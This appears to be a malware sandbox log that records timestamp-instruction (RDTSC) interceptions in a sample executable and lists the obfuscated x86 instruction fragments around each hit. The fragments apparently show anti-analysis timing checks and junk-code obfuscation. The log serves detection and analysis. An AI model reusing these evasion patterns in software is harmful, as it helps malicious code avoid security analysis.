Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	RDTSC instruction interceptor: First address: 6BE636 second address: 6BE679 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c jnl 00007F3331238816h 0x00000012 push ebx 0x00000013 pop ebx 0x00000014 popad 0x00000015 pop edx 0x00000016 nop 0x00000017 push 00000000h 0x00000019 add dword ptr [ebp+1244EDBCh], edx 0x0000001f mov dword ptr [ebp+122D2E2Eh], edx 0x00000025 push 00000000h 0x00000027 call 00007F333123881Ch 0x0000002c mov si, E231h 0x00000030 pop esi 0x00000031 push eax 0x00000032 push eax 0x00000033 push edx 0x00000034 jp 00007F3331238818h 0x0000003a rdtsc
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	RDTSC instruction interceptor: First address: 6BE679 second address: 6BE689 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F333124C7DCh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	RDTSC instruction interceptor: First address: 6BE689 second address: 6BE68D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	RDTSC instruction interceptor: First address: 6C2498 second address: 6C24A7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F333124C7DBh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	RDTSC instruction interceptor: First address: 6BF97E second address: 6BF9A2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F3331238822h 0x00000009 popad 0x0000000a pop ebx 0x0000000b push eax 0x0000000c js 00007F3331238820h 0x00000012 pushad 0x00000013 push ecx 0x00000014 pop ecx 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	RDTSC instruction interceptor: First address: 6C34AE second address: 6C34B2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	RDTSC instruction interceptor: First address: 6C34B2 second address: 6C34B8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	RDTSC instruction interceptor: First address: 6C34B8 second address: 6C34C2 instructions: 0x00000000 rdtsc 0x00000002 jg 00007F333124C7DCh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	RDTSC instruction interceptor: First address: 6C268D second address: 6C26DF instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3331238821h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [esp], eax 0x0000000c adc edi, 30DFE576h 0x00000012 push dword ptr fs:[00000000h] 0x00000019 and di, EE54h 0x0000001e mov dword ptr fs:[00000000h], esp 0x00000025 mov eax, dword ptr [ebp+122D16ADh] 0x0000002b cmc 0x0000002c jg 00007F3331238816h 0x00000032 push FFFFFFFFh 0x00000034 ja 00007F3331238817h 0x0000003a stc 0x0000003b nop 0x0000003c push eax 0x0000003d push edx 0x0000003e push eax 0x0000003f push edx 0x00000040 je 00007F3331238816h 0x00000046 rdtsc
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	RDTSC instruction interceptor: First address: 6C26DF second address: 6C26E9 instructions: 0x00000000 rdtsc 0x00000002 jns 00007F333124C7D6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	RDTSC instruction interceptor: First address: 6C4887 second address: 6C48C4 instructions: 0x00000000 rdtsc 0x00000002 js 00007F3331238816h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop eax 0x0000000b push eax 0x0000000c pushad 0x0000000d jp 00007F3331238825h 0x00000013 push eax 0x00000014 push edx 0x00000015 jmp 00007F3331238829h 0x0000001a rdtsc
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	RDTSC instruction interceptor: First address: 6C48C4 second address: 6C48C8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	RDTSC instruction interceptor: First address: 6C596F second address: 6C5973 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	RDTSC instruction interceptor: First address: 6C76A2 second address: 6C7742 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F333124C7E6h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [esp], eax 0x0000000c adc edi, 0FF6E342h 0x00000012 push 00000000h 0x00000014 push 00000000h 0x00000016 push esi 0x00000017 call 00007F333124C7D8h 0x0000001c pop esi 0x0000001d mov dword ptr [esp+04h], esi 0x00000021 add dword ptr [esp+04h], 0000001Bh 0x00000029 inc esi 0x0000002a push esi 0x0000002b ret 0x0000002c pop esi 0x0000002d ret 0x0000002e push 00000000h 0x00000030 mov dword ptr [ebp+122D2030h], ebx 0x00000036 movzx edi, dx 0x00000039 xchg eax, esi 0x0000003a pushad 0x0000003b jmp 00007F333124C7E7h 0x00000040 pushad 0x00000041 jno 00007F333124C7D6h 0x00000047 jmp 00007F333124C7E8h 0x0000004c popad 0x0000004d popad 0x0000004e push eax 0x0000004f pushad 0x00000050 push eax 0x00000051 push edx 0x00000052 jmp 00007F333124C7DFh 0x00000057 rdtsc
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	RDTSC instruction interceptor: First address: 6C6895 second address: 6C6899 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	RDTSC instruction interceptor: First address: 6C6899 second address: 6C689F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	RDTSC instruction interceptor: First address: 6C689F second address: 6C68C1 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F333123881Fh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jns 00007F333123881Ch 0x00000012 rdtsc
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	RDTSC instruction interceptor: First address: 6C68C1 second address: 6C68D6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F333124C7E1h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	RDTSC instruction interceptor: First address: 6C864F second address: 6C8654 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	RDTSC instruction interceptor: First address: 6C9830 second address: 6C983F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F333124C7DAh 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	RDTSC instruction interceptor: First address: 6CE63F second address: 6CE645 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	RDTSC instruction interceptor: First address: 6CE645 second address: 6CE649 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	RDTSC instruction interceptor: First address: 6CE649 second address: 6CE657 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	RDTSC instruction interceptor: First address: 6CE657 second address: 6CE65B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	RDTSC instruction interceptor: First address: 6CE65B second address: 6CE6C9 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 nop 0x00000008 push 00000000h 0x0000000a push edi 0x0000000b call 00007F3331238818h 0x00000010 pop edi 0x00000011 mov dword ptr [esp+04h], edi 0x00000015 add dword ptr [esp+04h], 0000001Ah 0x0000001d inc edi 0x0000001e push edi 0x0000001f ret 0x00000020 pop edi 0x00000021 ret 0x00000022 push 00000000h 0x00000024 push 00000000h 0x00000026 push ecx 0x00000027 call 00007F3331238818h 0x0000002c pop ecx 0x0000002d mov dword ptr [esp+04h], ecx 0x00000031 add dword ptr [esp+04h], 0000001Ch 0x00000039 inc ecx 0x0000003a push ecx 0x0000003b ret 0x0000003c pop ecx 0x0000003d ret 0x0000003e mov dword ptr [ebp+122D1DF9h], ebx 0x00000044 push 00000000h 0x00000046 mov edi, dword ptr [ebp+122D1EC5h] 0x0000004c push eax 0x0000004d js 00007F3331238824h 0x00000053 pushad 0x00000054 jl 00007F3331238816h 0x0000005a push eax 0x0000005b push edx 0x0000005c rdtsc
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	RDTSC instruction interceptor: First address: 6CB853 second address: 6CB86F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F333124C7DCh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop ecx 0x0000000a push eax 0x0000000b push eax 0x0000000c push edx 0x0000000d jnp 00007F333124C7D8h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	RDTSC instruction interceptor: First address: 6CC79B second address: 6CC79F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	RDTSC instruction interceptor: First address: 6CB86F second address: 6CB875 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	RDTSC instruction interceptor: First address: 6CB875 second address: 6CB879 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	RDTSC instruction interceptor: First address: 6CC849 second address: 6CC84D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	RDTSC instruction interceptor: First address: 6CB932 second address: 6CB938 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	RDTSC instruction interceptor: First address: 6D04D5 second address: 6D04DB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	RDTSC instruction interceptor: First address: 6CC84D second address: 6CC853 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	RDTSC instruction interceptor: First address: 6D04DB second address: 6D04DF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	RDTSC instruction interceptor: First address: 6CB938 second address: 6CB970 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3331238828h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edi 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007F3331238828h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	RDTSC instruction interceptor: First address: 6CC853 second address: 6CC861 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 push ecx 0x00000004 pop ecx 0x00000005 pop esi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 pushad 0x0000000a push eax 0x0000000b push edx 0x0000000c push edx 0x0000000d pop edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	RDTSC instruction interceptor: First address: 672290 second address: 672296 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	RDTSC instruction interceptor: First address: 6D0D7C second address: 6D0D8F instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 jnc 00007F333124C7D6h 0x00000009 pop ecx 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push eax 0x0000000e push edx 0x0000000f push eax 0x00000010 push edx 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	RDTSC instruction interceptor: First address: 6D0D8F second address: 6D0D93 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	RDTSC instruction interceptor: First address: 6D0D93 second address: 6D0D97 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	RDTSC instruction interceptor: First address: 6D0D97 second address: 6D0D9D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	RDTSC instruction interceptor: First address: 6D1C03 second address: 6D1C0E instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 pushad 0x00000008 pushad 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	RDTSC instruction interceptor: First address: 6DA6F4 second address: 6DA6F9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	RDTSC instruction interceptor: First address: 6DF389 second address: 508A29 instructions: 0x00000000 rdtsc 0x00000002 jne 00007F333124C7E6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a xor dword ptr [esp], 6E3DAC5Eh 0x00000011 push 00000000h 0x00000013 push eax 0x00000014 call 00007F333124C7D8h 0x00000019 pop eax 0x0000001a mov dword ptr [esp+04h], eax 0x0000001e add dword ptr [esp+04h], 0000001Dh 0x00000026 inc eax 0x00000027 push eax 0x00000028 ret 0x00000029 pop eax 0x0000002a ret 0x0000002b push dword ptr [ebp+122D0D5Dh] 0x00000031 jmp 00007F333124C7E7h 0x00000036 pushad 0x00000037 cld 0x00000038 jmp 00007F333124C7E6h 0x0000003d popad 0x0000003e call dword ptr [ebp+122D1933h] 0x00000044 pushad 0x00000045 jno 00007F333124C7DCh 0x0000004b xor eax, eax 0x0000004d mov dword ptr [ebp+122D2B78h], ebx 0x00000053 mov edx, dword ptr [esp+28h] 0x00000057 jmp 00007F333124C7E5h 0x0000005c mov dword ptr [ebp+122D37BEh], eax 0x00000062 pushad 0x00000063 mov dx, 21D2h 0x00000067 mov eax, dword ptr [ebp+122D3676h] 0x0000006d popad 0x0000006e mov esi, 0000003Ch 0x00000073 mov dword ptr [ebp+122D2B78h], ecx 0x00000079 add esi, dword ptr [esp+24h] 0x0000007d jmp 00007F333124C7E8h 0x00000082 lodsw 0x00000084 mov dword ptr [ebp+122D2B78h], edx 0x0000008a add eax, dword ptr [esp+24h] 0x0000008e clc 0x0000008f mov ebx, dword ptr [esp+24h] 0x00000093 mov dword ptr [ebp+122D2B78h], ebx 0x00000099 nop 0x0000009a push eax 0x0000009b push edx 0x0000009c jmp 00007F333124C7E4h 0x000000a1 rdtsc
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	RDTSC instruction interceptor: First address: 6E54B0 second address: 6E54BE instructions: 0x00000000 rdtsc 0x00000002 jnp 00007F3331238816h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d popad 0x0000000e rdtsc
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	RDTSC instruction interceptor: First address: 6E54BE second address: 6E54C4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	RDTSC instruction interceptor: First address: 6E54C4 second address: 6E54CA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	RDTSC instruction interceptor: First address: 6E54CA second address: 6E54D0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	RDTSC instruction interceptor: First address: 6E54D0 second address: 6E54D4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	RDTSC instruction interceptor: First address: 6E56D3 second address: 6E56DC instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pushad 0x00000004 popad 0x00000005 pop ecx 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	RDTSC instruction interceptor: First address: 6E56DC second address: 6E56E2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	RDTSC instruction interceptor: First address: 6E56E2 second address: 6E56E8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	RDTSC instruction interceptor: First address: 6E5816 second address: 6E5835 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007F3331238827h 0x0000000d rdtsc
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	RDTSC instruction interceptor: First address: 6E5B06 second address: 6E5B0E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	RDTSC instruction interceptor: First address: 6E5B0E second address: 6E5B19 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 push eax 0x00000008 pop eax 0x00000009 push ebx 0x0000000a pop ebx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	RDTSC instruction interceptor: First address: 6E5B19 second address: 6E5B42 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push esi 0x00000007 jmp 00007F333124C7E4h 0x0000000c jne 00007F333124C7D6h 0x00000012 pop esi 0x00000013 popad 0x00000014 pushad 0x00000015 pushad 0x00000016 push eax 0x00000017 pop eax 0x00000018 push eax 0x00000019 push edx 0x0000001a rdtsc
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	RDTSC instruction interceptor: First address: 6E5B42 second address: 6E5B4F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	RDTSC instruction interceptor: First address: 6E5B4F second address: 6E5B53 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	RDTSC instruction interceptor: First address: 6E5B53 second address: 6E5B57 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	RDTSC instruction interceptor: First address: 6E5DFC second address: 6E5E11 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 je 00007F333124C7D6h 0x0000000a pop ebx 0x0000000b push eax 0x0000000c push edx 0x0000000d push esi 0x0000000e pop esi 0x0000000f jne 00007F333124C7D6h 0x00000015 rdtsc
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	RDTSC instruction interceptor: First address: 6E5E11 second address: 6E5E15 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	RDTSC instruction interceptor: First address: 6E5E15 second address: 6E5E29 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 ja 00007F333124C7D6h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e jbe 00007F333124C7D6h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	RDTSC instruction interceptor: First address: 6EDDB3 second address: 6EDDB9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	RDTSC instruction interceptor: First address: 6EDDB9 second address: 6EDDD9 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 ja 00007F333124C7D6h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007F333124C7E2h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	RDTSC instruction interceptor: First address: 6EDDD9 second address: 6EDDE3 instructions: 0x00000000 rdtsc 0x00000002 jnc 00007F3331238816h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	RDTSC instruction interceptor: First address: 6ECBFA second address: 6ECC00 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	RDTSC instruction interceptor: First address: 6ECC00 second address: 6ECC06 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	RDTSC instruction interceptor: First address: 6C030F second address: 6C036D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 jmp 00007F333124C7DBh 0x0000000a popad 0x0000000b mov dword ptr [esp], eax 0x0000000e push 00000000h 0x00000010 push edx 0x00000011 call 00007F333124C7D8h 0x00000016 pop edx 0x00000017 mov dword ptr [esp+04h], edx 0x0000001b add dword ptr [esp+04h], 0000001Ch 0x00000023 inc edx 0x00000024 push edx 0x00000025 ret 0x00000026 pop edx 0x00000027 ret 0x00000028 pushad 0x00000029 push edx 0x0000002a pushad 0x0000002b popad 0x0000002c pop edi 0x0000002d xor esi, 02D506FAh 0x00000033 popad 0x00000034 lea eax, dword ptr [ebp+1248B05Ch] 0x0000003a push ecx 0x0000003b jmp 00007F333124C7DDh 0x00000040 pop edx 0x00000041 push eax 0x00000042 pushad 0x00000043 pushad 0x00000044 push eax 0x00000045 push edx 0x00000046 rdtsc
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	RDTSC instruction interceptor: First address: 6C0443 second address: 6C0448 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	RDTSC instruction interceptor: First address: 6C0448 second address: 6C0475 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F333124C7E0h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a pushad 0x0000000b jmp 00007F333124C7E3h 0x00000010 push eax 0x00000011 push edx 0x00000012 pushad 0x00000013 popad 0x00000014 rdtsc
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	RDTSC instruction interceptor: First address: 6C058A second address: 6C059D instructions: 0x00000000 rdtsc 0x00000002 ja 00007F3331238818h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push eax 0x0000000e push edx 0x0000000f push esi 0x00000010 push edi 0x00000011 pop edi 0x00000012 pop esi 0x00000013 rdtsc
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	RDTSC instruction interceptor: First address: 6C089C second address: 6C08A2 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	RDTSC instruction interceptor: First address: 6C0A79 second address: 6C0A94 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F3331238827h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	RDTSC instruction interceptor: First address: 6C0A94 second address: 6C0AD9 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 add dword ptr [esp], 2AAE8D65h 0x0000000f push 00000000h 0x00000011 push edi 0x00000012 call 00007F333124C7D8h 0x00000017 pop edi 0x00000018 mov dword ptr [esp+04h], edi 0x0000001c add dword ptr [esp+04h], 0000001Bh 0x00000024 inc edi 0x00000025 push edi 0x00000026 ret 0x00000027 pop edi 0x00000028 ret 0x00000029 call 00007F333124C7D9h 0x0000002e pushad 0x0000002f pushad 0x00000030 js 00007F333124C7D6h 0x00000036 push eax 0x00000037 push edx 0x00000038 rdtsc
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	RDTSC instruction interceptor: First address: 6C0AD9 second address: 6C0AE2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 pushad 0x00000008 popad 0x00000009 rdtsc
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	RDTSC instruction interceptor: First address: 6C0AE2 second address: 6C0AEF instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 pushad 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c popad 0x0000000d rdtsc
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	RDTSC instruction interceptor: First address: 6C0AEF second address: 6C0AF3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	RDTSC instruction interceptor: First address: 6C0AF3 second address: 6C0B11 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 pushad 0x00000008 popad 0x00000009 push esi 0x0000000a pop esi 0x0000000b popad 0x0000000c popad 0x0000000d mov eax, dword ptr [esp+04h] 0x00000011 pushad 0x00000012 je 00007F333124C7D8h 0x00000018 push edi 0x00000019 pop edi 0x0000001a push eax 0x0000001b push edx 0x0000001c pushad 0x0000001d popad 0x0000001e rdtsc
